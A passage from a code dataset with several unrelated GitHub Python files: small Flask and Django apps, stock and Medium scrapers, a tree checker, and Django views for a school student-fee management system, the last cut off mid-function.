#time.sleep(4)\n if count > 0 :\n exit()\n\nif __name__ == '__main__': \n main()","repo_name":"sanjeevkanabargi/python","sub_path":"stream/proto/pushproto.py","file_name":"pushproto.py","file_ext":"py","file_size_in_byte":2755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35354208297","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('deletechat/',views.delete_chat, name='deletechat'),\n path('home/', views.home, name='home'),\n path('joinroom/', views.joinroom , name='joinroom'),\n path('', views.home, name='home'),\n path('joinroom/checkview', views.checkview, name='checkview'),\n path('/', views.room, name='room'),\n path('checkview', views.checkview, name='checkview'),\n path('send', views.send, name='send'),\n path('getMessages//', views.getMessages, name='getMessages'),\n]","repo_name":"maxisz/django-site","sub_path":"chat/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27702715713","text":"#This file will deal with the post methods for when the amount of food is submitted\n\nfrom flask import request\n\n#This class will deal with the amount of food that comes in. \nclass Food():\n\n #Here I describe all the properties that each Food object will have\n def __init__(self):\n self.name = \"\"\n self.amount = 0\n self.profit = 0\n\n #This method will set the food amounts when the user submits the form\n def get_Food(self):\n food_list = []\n #Here I'm receiving the values from the form that the user entered. \n kale = request.form['kale_amount']\n collards = request.form['collard_amount']\n broccoli = request.form['broccoli_amount']\n spinach = request.form['spinach_amount']\n #These coditional statements get the information for the amount of food. \n if kale:\n #Creating the food object\n kale_object = Food()\n #setting the name of the food object\n kale_object.name = \"Kale\"\n #setting the amount of pounds of the food object\n kale_object.amount = kale\n #Setting the specific profi earned based off poundage to the food object\n kale_object.profit = int(kale) * 2\n #Appending all the data to the food list which will hold each type of food object. \n food_list.append(kale_object)\n if collards:\n collards_object = Food()\n collards_object.name = \"Collards\"\n collards_object.amount = collards\n collards_object.profit = int(collards) * 3\n food_list.append(collards_object)\n if broccoli:\n broccoli_object = Food()\n broccoli_object.name = 'Broccoli'\n broccoli_object.amount = broccoli\n broccoli_object.profit = int(broccoli) * 4\n food_list.append(broccoli_object)\n if spinach:\n spinach_object = Food()\n spinach_object.name = 'Spinach'\n spinach_object.amount = spinach\n spinach_object.profit = int(spinach) * 5\n food_list.append(spinach_object)\n return food_list\n\n","repo_name":"ravenusmc/market","sub_path":"food.py","file_name":"food.py","file_ext":"py","file_size_in_byte":2145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18078490140","text":"import bs4 as bs\n# serialises any python object - save S& P 500 lsit without having to go back to wiki\nimport pickle\nimport requests\n\nimport datetime as dt\n# os can make new directories for us\nimport os\nimport pandas as pd\nimport pandas_datareader.data as web\n\n\ndef save_sp500_tickers():\n resp = requests.get('https://en.wikipedia.org/wiki/List_of_S%26P_500_companies')\n soup = bs.BeautifulSoup(resp.text, 'lxml')\n table = soup.find('table', {'id':'constituents'})\n tickers = []\n for row in table.findAll('tr')[1:]:\n ticker = row.find('td').text.strip()\n if \".\" in ticker:\n ticker = ticker.replace('.', '-')\n print('ticker replaced to {}'.format(ticker))\n tickers.append(ticker)\n\n with open(\"sp500tickers.pickle\", \"wb\") as f:\n pickle.dump(tickers, f)\n\n print(\"Collected ticker data\")\n return tickers\n\ndef get_data_from_yahoo(reload_sp500=False):\n # saving this data locally to avoid 20/30 minute download from yahoo each iteration\n if reload_sp500:\n tickers = save_sp500_tickers()\n else:\n # wb = write bytes and rb = read bytes - ahhh!\n with open(\"sp500tickers.pickle\", \"rb\") as f:\n tickers = pickle.load(f)\n\n # checks is path exists and if not, creates it\n if not os.path.exists('stock_dfs'):\n os.makedirs('stock_dfs')\n\n start = dt.datetime(2000,1,1)\n end = dt.date.today()\n\n # for ticker in tickers[:25]: - this would select the first 25 companies in ticker list\n for ticker in tickers:\n if not os.path.exists('stock_dfs/{}.csv'.format(ticker)):\n df = web.DataReader(ticker, 'yahoo', start, end)\n df.to_csv('stock_dfs/{}.csv'.format(ticker))\n print('Successfuly downloaded data for {} from {} to {}'.format(ticker, start, end))\n else:\n print('Already have {}'.format(ticker))\n\ndef compile_data():\n with open(\"sp500tickers.pickle\", \"rb\") as f:\n tickers = pickle.load(f)\n \n main_df = pd.DataFrame()\n\n # enumerate let's us count things\n for count, ticker in enumerate(tickers):\n df = pd.read_csv('stock_dfs/{}.csv'.format(ticker))\n df.set_index('Date', inplace=True)\n\n # 'Adj close':ticker -> renames column from x to y\n df.rename(columns = {'Adj Close':ticker}, inplace=True)\n df.drop(['Open', 'High', 'Low', 'Close', 'Volume'], 1, inplace=True)\n\n if main_df.empty:\n main_df = df\n else:\n main_df = main_df.join(df, how = 'outer')\n\n if count % 10 == 0:\n print(count)\n\n print(main_df.head())\n main_df.to_csv('sp500_joined_closes.csv')\n\ncompile_data()","repo_name":"DavidStewartLDN/python-stock-tracker","sub_path":"python-finance-7.py","file_name":"python-finance-7.py","file_ext":"py","file_size_in_byte":2482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27720902740","text":"import albumentations as A\nimport cv2\nimport json\nimport os\n\n# Định nghĩa đường dẫn\n#### Train\n# image_folder = 'dataset_13k_folder/dataset_13k_mergered_v3/train'\ntrain_json_path = 'dataset_13k_folder/dataset_13k/old_annotations/train.json'\n# output_folder = 'dataset_13k_augmented/train'\noutput_train_json_path = 'dataset_13k_folder/dataset_13k/annotations/train.json'\n# #### Val\n# image_folder = 'dataset_13k/val'\n# train_json_path = 'dataset_13k/old_annotations/val.json'\n# output_folder = 'dataset_13k_augmented/val'\n# output_train_json_path = 'dataset_13k_augmented/old_annotations/val.json'\n\n# Load file annoutation\nwith open(train_json_path, 'r') as json_file:\n data = json.load(json_file)\n# Lặp qua từng annotation trong train.json\n\nfor annotation in data['annotations']:\n catergory = annotation['category_id']\n if catergory==2:\n annotation['category_id'] = 5\n elif catergory==5:\n annotation['category_id'] = 1\n elif catergory==6:\n annotation['category_id'] = 4\n elif catergory==3:\n annotation['category_id'] = 6\n elif catergory==1:\n annotation['category_id'] = 2\n elif catergory==4:\n annotation['category_id'] = 3\n\n\n # output_path = os.path.join(output_folder, f\"{image_filename}\")\n # cv2.imwrite(output_path, transformed['image'])\n\nwith open(output_train_json_path, \"w\") as f:\n json.dump(data, f)\n\n\n","repo_name":"KoaBou/traffic_sign_detect_dataset","sub_path":"category_mapping.py","file_name":"category_mapping.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10740939542","text":"import textract\nimport re\ntext = textract.process(\"/home/markroxor/Desktop/a.pdf\")\n\nfor t in re.compile(b'Unknown Unknown\\n\\nPage ').split(text):\n note = re.compile(b'\\n\\n[0-9\\(\\)]+/[0-9\\(\\)]+/[0-9\\(\\)]+ [0-9\\(\\)]+:[0-9\\(\\)]+\\n').split(t)\n page = note[0]\n\n try:\n page = int(page)\n except ValueError:\n continue\n\n content = note[1]\n content = re.compile(b'\\n[0-9\\(\\)]+\\n\\n').split(content)[0]\n\n if content != b'':\n print (page , '-', content)\n","repo_name":"markroxor/reading-list","sub_path":"get_notes.py","file_name":"get_notes.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"40619837476","text":"from flask import (\n Flask,\n request\n)\n\n\"\"\"When Flask receives a request from a client,\nit needs to make a few objects available to the view function that will handle it.\n\nA good example is request object, which encapsulates the HTTP request sent by the client\n\nFlask context globals\n\ncurrent_app\ng\nrequest\nsession\n\"\"\"\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n user_agent = request.headers.get(\"User-Agent\")\n return \"

Your browser is {}

\".format(user_agent)","repo_name":"Kaiyilin/PythonLearning","sub_path":"Flask/p1_3_request_response.py","file_name":"p1_3_request_response.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41972331815","text":"import sys\nimport os\nimport uuid\nfrom medium_user_articles import get_links_for_user\nfrom medium_scraper import medium_to_markdown, list_files_in_dir, save_to_file\nfrom gen_training_data import parse_lines, split_text_into_chunks, create_prompt_completion_pairs_from_sentences\nfrom gen_prompts import generate_prompts, format_prompt\nfrom concurrent.futures import ThreadPoolExecutor\nfrom helpers.local_files import (combine_jsonl_files, \n generate_jsonl_filename, \n generate_markdown_filename,\n save_to_file,\n save_lines_to_file,\n list_files_in_dir\n )\n\n# 1. get all article links for a user\n# 2. scrape all articles for a user and save to markdown\n# 3. convert markdown to subject/paragraph pairs\n# 3. generate prompt pairs for each article using subject/paragraph pairs\n# 4. combine prompt pairs into a single prompt file\n# 5. call openai api to train new model\ndef main(username : str, data_dir : str, sentence_parsing : bool = True, style_only : bool = True) -> None:\n base_dir = os.path.abspath(data_dir)\n \n # Create the directory if it doesn't exist\n if not os.path.exists(base_dir):\n os.makedirs(base_dir)\n \n # 1. get all article links for a user (use selenium_for_scrolling if you want to get more than the top 8ish articles)\n links = get_links_for_user(username = username, use_selenium_for_scrolling=False) \n print(links)\n \n # 2. scrape all articles for a user and save to markdown\n for link in links:\n print(f\"scraping article: {link}\")\n # convert content from article url into markdown\n content = medium_to_markdown(url= link)\n if content is None:\n print(f\"ERROR: no content returned from medium_to_markdown from url: {link}\")\n continue\n\n # save markdown content to file for later use (if nec)\n file_path = generate_markdown_filename(base_dir = base_dir)\n print(f\"base: {base_dir}, saving to: {file_path}\")\n save_to_file(text = content, filepath = file_path)\n\n # jsonl_lines will be lines of jsonl formatted text\n jsonl_lines = []\n \n # 3. convert markdown to subject/paragraph pairs or prompt pairs\n if sentence_parsing: # use sentence parsing\n print(\"sentence parsing\")\n jsonl_lines = create_prompt_completion_pairs_from_sentences(text = content, style_only = style_only)\n\n else: # use chatgpt to create prompt pairs\n print(\"chatgpt parsing\")\n \n # parse content\n article_dict = parse_lines(content.splitlines())\n print(f\"article_dict length: {len(article_dict.items())}\")\n\n # loop through the dictionary and split the text into chunks\n for key, value in article_dict.items():\n article_chunks = split_text_into_chunks(value)\n print(f\"len article_chunks: {len(article_chunks)}\")\n \n # loop through the chunks and generate prompts\n for chunk in article_chunks:\n new_contents = key + \"\\n\" + chunk\n # Use ThreadPoolExecutor to process chunks in parallel\n # with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:\n # prompt_lines = list(executor.map(generate_prompts, new_contents))\n print(\"prompt:\")\n prompt_lines = generate_prompts(new_contents)\n if prompt_lines is not None:\n for prompt in prompt_lines:\n if prompt != \"\":\n jsonl_lines.append(format_prompt(prompt, new_contents))\n # install blank line between prompts for generator\n jsonl_lines.append(format_prompt(\"\", chunk))\n print(\"threads complete\")\n\n # 4. combine prompt pairs into a single jsonl prompt file for that article\n jsonl_filename = generate_jsonl_filename(file_path)\n save_lines_to_file(lines=jsonl_lines, filepath=jsonl_filename, add_newline=True)\n print(f\"saved {len(jsonl_lines)} lines to: {jsonl_filename}\")\n\n print(\"-----\")\n print(\"combine all jsonl files\")\n print(\"-----\")\n combine_jsonl_files(input_dir = base_dir, filename = f\"{username}.jsonl\")\n \n\nif __name__ == \"__main__\":\n if len(sys.argv) < 4:\n print(\"Usage: python train.py [linear|chatgpt]\")\n sys.exit(1)\n\n username = sys.argv[1]\n output_dir = sys.argv[2]\n style_or_subject = sys.argv[3]\n style_only = True\n use_chatgpt = False\n\n if style_or_subject == \"style\":\n style_only = True\n elif style_or_subject == \"subject\":\n style_only = False\n else:\n print(\"Usage: python train.py \")\n print(f\" needs to be either 'style' or 'subject', not: {style_or_subject}\")\n sys.exit(1)\n\n if not style_only:\n if len(sys.argv) >= 5:\n linear_or_chatgpt = sys.argv[4]\n if linear_or_chatgpt == \"chatgpt\":\n use_chatgpt = True\n\n sentence_parsing = not use_chatgpt\n main(username = username, data_dir = output_dir, sentence_parsing = sentence_parsing, style_only = style_only)\n ","repo_name":"jcorbett/copycatAI","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16957039963","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom scrapy.http import FormRequest\nfrom w3lib.html import remove_tags\n\n\nclass TramsSpiderSpider(scrapy.Spider):\n name = 'trams_spider'\n allowed_domains = ['www.stbsa.ro']\n start_urls = ['http://www.stbsa.ro/v_tramvai.php']\n\n def parse(self, response):\n self.logger.info(\"Starting spider..\")\n tram_lines = response.xpath(\n './/select[@name=\"tlin1\"]/option/@value').getall()\n # Remove 0 from the tram_lines list.\n tram_lines.remove('0')\n\n for line in tram_lines[:1]:\n formdata = {'tlin1': line}\n yield FormRequest.from_response(response,\n formdata=formdata,\n callback=self.parse_line)\n\n def parse_line(self, response):\n title = response.xpath('..//h3').get()\n title = remove_tags(title).strip()\n self.logger.info(title)\n type_ = response.xpath('..//table//table//table[2]//tr[2]/td').get()\n type_ = remove_tags(type_).strip()\n self.logger.info(type_)\n","repo_name":"petrubabalau/PublicTransportSpiders","sub_path":"stbsa/stbsa/spiders/trams_spider.py","file_name":"trams_spider.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21899974080","text":"# python3\n#!/usr/bin/python3\n\nimport sys, threading\n\nsys.setrecursionlimit(10**9) # max depth of recursion\nthreading.stack_size(2**27) # new thread will get stack of such size\n\ndef IsBinarySearchTree(tree):\n prev = None\n cur = 0\n stack = []\n \n while True:\n if cur != -1:\n stack.append(cur)\n cur = tree[cur][1]\n elif stack:\n cur = stack.pop()\n if prev != None and tree[cur][0] < tree[prev][0]:\n return False \n prev = cur\n cur = tree[cur][2]\n else:\n break\n return True\n\ndef main():\n nodes = int(sys.stdin.readline().strip())\n if nodes == 0:\n print(\"CORRECT\")\n else:\n tree = [] \n for i in range(nodes):\n tree.append(list(map(int, sys.stdin.readline().strip().split())))\n if IsBinarySearchTree(tree):\n print(\"CORRECT\")\n else:\n print(\"INCORRECT\")\n\nthreading.Thread(target=main).start()\n","repo_name":"karannaik3797/algorithdatastructure","sub_path":"datastructures/week4_binary_search_trees/is_bst.py","file_name":"is_bst.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6072627469","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@author: yuandi\n@file: view_ajax.py\n@time: 2018/9/3 21:49\n\"\"\"\n\nimport datetime\nimport simplejson as json\nimport os\nimport traceback\n\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.http import HttpResponse\nfrom django.conf import settings\nfrom django.contrib.auth import authenticate\nfrom django.shortcuts import get_object_or_404\nfrom django.db.models import Q\nfrom django.db import transaction\nimport pandas as pd\n\nfrom .extend_json_encoder import ExtendJSONEncoder\nfrom .models import student, classes, PayMentInfo, student_term_info, TermInfo, Flowing, PreMent, users\nfrom .common import clear\n\n\nlogin_failure_counter = {}\n\n# ajax接口,登录页面调用,用来验证用户名密码\n@csrf_exempt\ndef loginAuthenticate(username, password):\n \"\"\"登录认证,包含一个登录失败计数器,5分钟内连续失败5次的账号,会被锁定5分钟\"\"\"\n lockCntThreshold = settings.LOCK_CNT_THRESHOLD\n lockTimeThreshold = settings.LOCK_TIME_THRESHOLD\n # 服务端二次验证参数\n if username == \"\" or password == \"\" or username is None or password is None:\n result = {'status': 2, 'msg': '登录用户名或密码为空,请重新输入!', 'data': ''}\n elif username in login_failure_counter and login_failure_counter[username][\"cnt\"] >= lockCntThreshold and (\n datetime.datetime.now() - login_failure_counter[username][\n \"last_failure_time\"]).seconds <= lockTimeThreshold:\n result = {'status': 3, 'msg': '登录失败超过5次,该账号已被锁定5分钟!', 'data': ''}\n else:\n # 登录\n user = authenticate(username=username, password=password)\n # 登录成功\n if user:\n # 如果登录失败计数器中存在该用户名,则清除之\n if username in login_failure_counter:\n login_failure_counter.pop(username)\n result = {'status': 0, 'msg': 'ok', 'data': user}\n # 登录失败\n else:\n if username not in login_failure_counter:\n # 第一次登录失败,登录失败计数器中不存在该用户,则创建一个该用户的计数器\n login_failure_counter[username] = {\"cnt\": 1, \"last_failure_time\": datetime.datetime.now()}\n else:\n if (datetime.datetime.now() - login_failure_counter[username][\n \"last_failure_time\"]).seconds <= lockTimeThreshold:\n login_failure_counter[username][\"cnt\"] += 1\n else:\n # 上一次登录失败时间早于5分钟前,则重新计数。以达到超过5分钟自动解锁的目的。\n login_failure_counter[username][\"cnt\"] = 1\n login_failure_counter[username][\"last_failure_time\"] = datetime.datetime.now()\n result = {'status': 1, 'msg': '用户名或密码错误,请重新输入!', 'data': ''}\n return result\n\n\n# ajax接口,登录页面调用,用来验证用户名密码\n@csrf_exempt\ndef authenticateEntry(request):\n \"\"\"接收http请求,然后把请求中的用户名密码传给loginAuthenticate去验证\"\"\"\n username = request.POST.get('username')\n password = request.POST.get('password')\n result = loginAuthenticate(username, password)\n if result['status'] == 0:\n # session保存用户信息\n request.session['login_username'] = username\n result = {'status': 0, 'msg': 'ok', 'data': None}\n\n return HttpResponse(json.dumps(result), content_type='application/json')\n\n\n# 获取学生信息列表\n@csrf_exempt\ndef getstudentsinfo(request):\n # 获取用户信息\n loginUser = request.session.get('login_username', False)\n\n limit = int(request.POST.get('limit', 0))\n offset = int(request.POST.get('offset', 0))\n if limit == 0 and offset == 0:\n limit = None\n offset = None\n else:\n limit = offset + limit\n\n # 获取搜索参数\n search = request.POST.get('search',\"\").strip()\n if search is None:\n search = ''\n\n # 获取筛选参数\n navStatus = request.POST.get('navStatus',\"\").strip()\n\n\n # 全部学生信息里面包含搜索条件\n if navStatus == 'all':\n listStudentInfo = student.objects.filter(Q(name__contains=search)|Q(tel_num__contains=search)|Q(card_id__contains=search)|Q(sex=search)|Q(fa_name__contains=search)|Q(address__contains=search)|Q(person__contains=search))\\\n .order_by('-create_time')[offset:limit]\\\n .values(\"id\", 'name', 'tel_num', 'card_id', 'birthday', 'classid__class_name', 'sex',\n 'fa_name', 'school_car', 'is_shuangliu', 'is_chengdu', 'infos', 'address', 'person', 'remark')\n StudentInfoCount = student.objects.filter(Q(name__contains=search)|Q(tel_num__contains=search)|Q(card_id__contains=search)|Q(sex=search)|Q(fa_name__contains=search)|Q(address__contains=search)|Q(person__contains=search)).count()\n else:\n listStudentInfo = student.objects.filter(classid__id=navStatus).filter(Q(name__contains=search)|Q(tel_num__contains=search)|Q(card_id__contains=search)|Q(sex=search)|Q(fa_name__contains=search)|Q(address__contains=search)|Q(person__contains=search))\\\n .order_by('-create_time')[offset:limit].\\\n values(\"id\", 'name', 'tel_num', 'card_id', 'birthday', 'classid__class_name', 'sex',\n 'fa_name', 'school_car', 'is_shuangliu', 'is_chengdu', 'infos', 'address', 'person', 'remark')\n StudentInfoCount = student.objects.filter(classid__id=navStatus).filter(Q(name__contains=search)|Q(tel_num__contains=search)|Q(card_id__contains=search)|Q(sex=search)|Q(fa_name__contains=search)|Q(address__contains=search)|Q(person__contains=search)).count()\n\n # QuerySet 序列化\n rows = [row for row in listStudentInfo]\n\n result = {\"total\": StudentInfoCount, \"rows\": rows}\n # 返回查询结果\n return HttpResponse(json.dumps(result, cls=ExtendJSONEncoder, bigint_as_string=True),\n content_type='application/json')\n\n\n# 获取流水信息列表\n@csrf_exempt\ndef getmoneyflow(request):\n # 获取用户信息\n loginUser = request.session.get('login_username', False)\n\n limit = int(request.POST.get('limit', 0))\n offset = int(request.POST.get('offset', 0))\n if limit == 0 and offset == 0:\n limit = None\n offset = None\n else:\n limit = offset + limit\n\n # 获取搜索参数\n search = request.POST.get('search',\"\").strip()\n if search is None:\n search = ''\n\n # 获取筛选参数\n # navStatus = request.POST.get('navStatus',\"\").strip()\n\n\n # 全部学生信息里面包含搜索条件\n listStudentInfo = Flowing.objects.filter(Q(stuId__name__contains=search)|Q(type=search)|Q(action=search)|Q(person__contains=search))\\\n .order_by('-create_time')[offset:limit].\\\n values(\"id\", 'stuId__name', 'action', 'type', 'flowing', 'create_time', 'person', 'remark')\n StudentInfoCount = Flowing.objects.filter(Q(stuId__name__contains=search)|Q(type=search)|Q(action=search)|Q(person__contains=search)).count()\n\n # QuerySet 序列化\n rows = [row for row in listStudentInfo]\n\n result = {\"total\": StudentInfoCount, \"rows\": rows}\n # 返回查询结果\n return HttpResponse(json.dumps(result, cls=ExtendJSONEncoder, bigint_as_string=True),\n content_type='application/json')\n\n\n# 获取预收费信息列表\n@csrf_exempt\ndef getpremoney(request):\n # 获取用户信息\n loginUser = request.session.get('login_username', False)\n\n limit = int(request.POST.get('limit', 0))\n offset = int(request.POST.get('offset', 0))\n if limit == 0 and offset == 0:\n limit = None\n offset = None\n else:\n limit = offset + limit\n\n # 获取搜索参数\n search = request.POST.get('search',\"\").strip()\n if search is None:\n search = ''\n\n # 获取筛选参数\n navStatus = request.POST.get('navStatus',\"\").strip()\n\n\n # 全部学生信息里面包含搜索条件\n if navStatus == 'all':\n listStudentInfo = student.objects.filter(Q(name__contains=search)|Q(tel_num__contains=search)|Q(card_id__contains=search)|Q(sex=search)|Q(fa_name__contains=search)|Q(pre_person__contains=search))\\\n .order_by('-create_time')[offset:limit]\\\n .values(\"id\", 'name', 'tel_num', 'card_id', 'birthday', 'classid__class_name', 'sex',\n 'fa_name', 'pre_person', 'premoney')\n StudentInfoCount = student.objects.filter(Q(name__contains=search)|Q(tel_num__contains=search)|Q(card_id__contains=search)|Q(sex=search)|Q(fa_name__contains=search)|Q(pre_person__contains=search)).count()\n else:\n listStudentInfo = student.objects.filter(classid__id=navStatus).filter(Q(name__contains=search)|Q(tel_num__contains=search)|Q(card_id__contains=search)|Q(sex=search)|Q(fa_name__contains=search)|Q(pre_person__contains=search))\\\n .order_by('-create_time')[offset:limit].\\\n values(\"id\", 'name', 'tel_num', 'card_id', 'birthday', 'classid__class_name', 'sex',\n 'fa_name', 'pre_person', 'premoney')\n StudentInfoCount = student.objects.filter(classid__id=navStatus).filter(Q(name__contains=search)|Q(tel_num__contains=search)|Q(card_id__contains=search)|Q(sex=search)|Q(fa_name__contains=search)|Q(pre_person__contains=search)).count()\n\n # QuerySet 序列化\n rows = [row for row in listStudentInfo]\n\n result = {\"total\": StudentInfoCount, \"rows\": rows}\n # 返回查询结果\n return HttpResponse(json.dumps(result, cls=ExtendJSONEncoder, bigint_as_string=True),\n content_type='application/json')\n\n\n# 获取学生报名信息列表\n@csrf_exempt\ndef getregister(request):\n # 获取用户信息\n loginUser = request.session.get('login_username', False)\n\n limit = int(request.POST.get('limit', 0))\n offset = int(request.POST.get('offset', 0))\n if limit == 0 and offset == 0:\n limit = None\n offset = None\n else:\n limit = offset + limit\n\n # 获取搜索参数\n search = request.POST.get('search',\"\").strip()\n if search is None:\n search = ''\n # 获取筛选参数\n sel_term = int(request.POST.get('sel_term', \"\").strip())\n sel_class = request.POST.get('sel_class', \"\").strip()\n sel_register = request.POST.get('sel_register', \"\").strip()\n\n\n # 全部学生信息里面包含搜索条件\n listStudentInfo = student.objects.filter(Q(classid__class_name__contains=sel_class)).filter(Q(name__contains=search)|Q(tel_num__contains=search)|Q(card_id__contains=search))\\\n .order_by('-create_time')[offset:limit]\\\n .values(\"id\", 'name', 'tel_num', 'card_id', 'birthday', 'classid__class_name', 'sex',\n 'fa_name', 'school_car', 'is_shuangliu', 'is_chengdu', 'infos', 'address')\n StudentInfoCount = student.objects.filter(Q(classid__class_name__contains=sel_class)).filter(Q(name__contains=search)|Q(tel_num__contains=search)|Q(card_id__contains=search)).count()\n\n # QuerySet 序列化\n rows_all = []\n rows_register = []\n rows_unregister = []\n for row in listStudentInfo:\n tmp = row.copy()\n stuid = row[\"id\"]\n listStuTermInfo = student_term_info.objects.filter(stuId=stuid, termId__id=sel_term).values(\"status\")\n if listStuTermInfo:\n tmp[\"status\"] = listStuTermInfo[0][\"status\"]\n rows_register.append(tmp)\n else:\n tmp[\"status\"] = \"\"\n rows_unregister.append(tmp)\n rows_all.append(tmp)\n\n if sel_register == \"all\":\n rows = rows_all\n elif sel_register == \"已报到\":\n rows = rows_register\n elif sel_register == \"未报到\":\n rows = rows_unregister\n else:\n rows = []\n\n result = {\"total\": StudentInfoCount, \"rows\": rows}\n # 返回查询结果\n return HttpResponse(json.dumps(result, cls=ExtendJSONEncoder, bigint_as_string=True),\n content_type='application/json')\n\n\n# 获取学生缴费信息列表\n@csrf_exempt\ndef getmoneysinfo(request):\n # 获取用户信息\n loginUser = request.session.get('login_username', False)\n\n limit = int(request.POST.get('limit', 0))\n offset = int(request.POST.get('offset', 0))\n if limit == 0 and offset == 0:\n limit = None\n offset = None\n else:\n limit = offset + limit\n\n # 获取搜索参数\n search = request.POST.get('search',\"\").strip()\n if search is None:\n search = ''\n\n # 获取筛选参数\n sel_term = request.POST.get('sel_term', \"\").strip()\n sel_class = request.POST.get('sel_class', \"\").strip()\n sel_type = request.POST.get('sel_type', \"\").strip()\n sel_action = request.POST.get('sel_action', \"\").strip()\n sel_status = request.POST.get('sel_status', \"\").strip()\n\n # 全部学生缴费信息里面包含搜索条件\n listMoneyInfo = PayMentInfo.objects.filter(termId__id=sel_term)\\\n .filter(Q(stuId__classid__class_name__contains=sel_class) & Q(type__contains=sel_type) & Q(action__contains=sel_action) & Q(status__contains=sel_status))\\\n .filter(Q(stuId__name__contains=search) | Q(money__contains=search) |Q(person__contains=search))\\\n .order_by('-create_time')[offset:limit]\\\n .values(\"id\", \"stuId__name\", \"stuId__classid__class_name\", \"type\", 'action', 'money', 'status', 'person', 'remark')\n\n MoneyInfoCount = PayMentInfo.objects.filter(termId__id=sel_term) \\\n .filter(Q(stuId__classid__class_name__contains=sel_class) & Q(type__contains=sel_type) & Q(\n action__contains=sel_action) & Q(status__contains=sel_status)) \\\n .filter(Q(stuId__name__contains=search) | Q(money__contains=search) | Q(person__contains=search)).count()\n\n # QuerySet 序列化\n rows = [row for row in listMoneyInfo]\n\n result = {\"total\": MoneyInfoCount, \"rows\": rows}\n # 返回查询结果\n return HttpResponse(json.dumps(result, cls=ExtendJSONEncoder, bigint_as_string=True),\n content_type='application/json')\n\n\n# 删除学生信息\n@csrf_exempt\ndef delstudent(request):\n students = request.POST.get('studentsInfo', \"\")\n result = {'status': 0, 'msg': '删除学生信息成功!', 'data': []}\n\n if not students:\n result['status'] = 1\n result['msg'] = '请选择需要删除信息的学生!'\n return HttpResponse(json.dumps(result), content_type='application/json')\n\n student_ids = students.split(\"&\")\n # 使用事务保持数据一致性\n try:\n with transaction.atomic():\n for student_id in student_ids:\n id = int(student_id.split(\"=\")[1])\n student.objects.get(id=id).delete()\n except Exception as msg:\n import traceback\n print(traceback.format_exc())\n result['status'] = 1\n result['msg'] = str(msg)\n return HttpResponse(json.dumps(result), content_type='application/json')\n\n return HttpResponse(json.dumps(result), content_type='application/json')\n\n# 修改预收费\n@csrf_exempt\ndef modifypremoney(request):\n # 获取用户信息\n loginUser = request.session.get('login_username', False)\n students = request.POST.get('studentsInfo', \"\")\n msg = request.POST.get('msg', '')\n result = {'status': 0, 'msg': '修改预收费成功!', 'data': []}\n\n loginUserOb = users.objects.get(username=loginUser)\n UserDisplay = loginUserOb.display\n\n if not students:\n result['status'] = 1\n result['msg'] = '请选择需要修改预收费的学生!'\n return HttpResponse(json.dumps(result), content_type='application/json')\n\n student_ids = students.split(\"&\")\n\n if len(student_ids) != 1:\n result['status'] = 1\n result['msg'] = '一次只能修改一个学生!'\n return HttpResponse(json.dumps(result), content_type='application/json')\n\n try:\n msg = float(msg)\n except Exception as e:\n result['status'] = 1\n result['msg'] = '输入的金额不正确!'\n return HttpResponse(json.dumps(result), content_type='application/json')\n\n # 使用事务保持数据一致性\n try:\n with transaction.atomic():\n for student_id in student_ids:\n id = int(student_id.split(\"=\")[1])\n stuinfo = student.objects.get(id=id)\n try:\n l_premoney = float(stuinfo.premoney)\n except Exception as e:\n l_premoney = 0.0\n flowing = msg - l_premoney \n stuinfo.premoney = msg\n stuinfo.pre_person = UserDisplay\n stuinfo.save()\n if flowing > 0:\n f_type = \"收款\"\n elif flowing < 0:\n f_type = \"退款\"\n else:\n f_type = \"无需缴费\"\n if f_type != \"无需缴费\":\n Flowing.objects.create(stuId=stuinfo, action=\"现金\", type=f_type, flowing=flowing, person=UserDisplay)\n except Exception as msg:\n import traceback\n print(traceback.format_exc())\n result['status'] = 1\n result['msg'] = str(msg)\n return HttpResponse(json.dumps(result), content_type='application/json')\n\n return HttpResponse(json.dumps(result), content_type='application/json')\n\n\n# 提交学生信息到数据库\n@csrf_exempt\ndef addstutodb(request):\n id = request.POST.get('id', '').strip()\n # 获取用户信息\n loginUser = request.session.get('login_username', False)\n name = request.POST.get('name', '').strip()\n tel_num = request.POST.get('tel_num', '').strip()\n card_id = request.POST.get('card_id', '').strip()\n birthday = request.POST.get('birthday', '')\n classid = request.POST.get('classid', '')\n sex = request.POST.get('sex', '')\n fa_name = request.POST.get('fa_name', '').strip()\n school_car = request.POST.get('school_car', '').strip()\n is_shuangliu = request.POST.get('is_shuangliu', '')\n is_chengdu = request.POST.get('is_chengdu', '')\n infos = request.POST.get('infos', '').strip()\n address = request.POST.get('address', '').strip()\n remark = request.POST.get('remark', '').strip()\n result = {'status': 0, 'msg': '添加学生信息成功!', 'data': \"\"}\n\n loginUserOb = users.objects.get(username=loginUser)\n UserDisplay = loginUserOb.display\n\n if len(tel_num) != 11:\n result['status'] = 1\n result['msg'] = 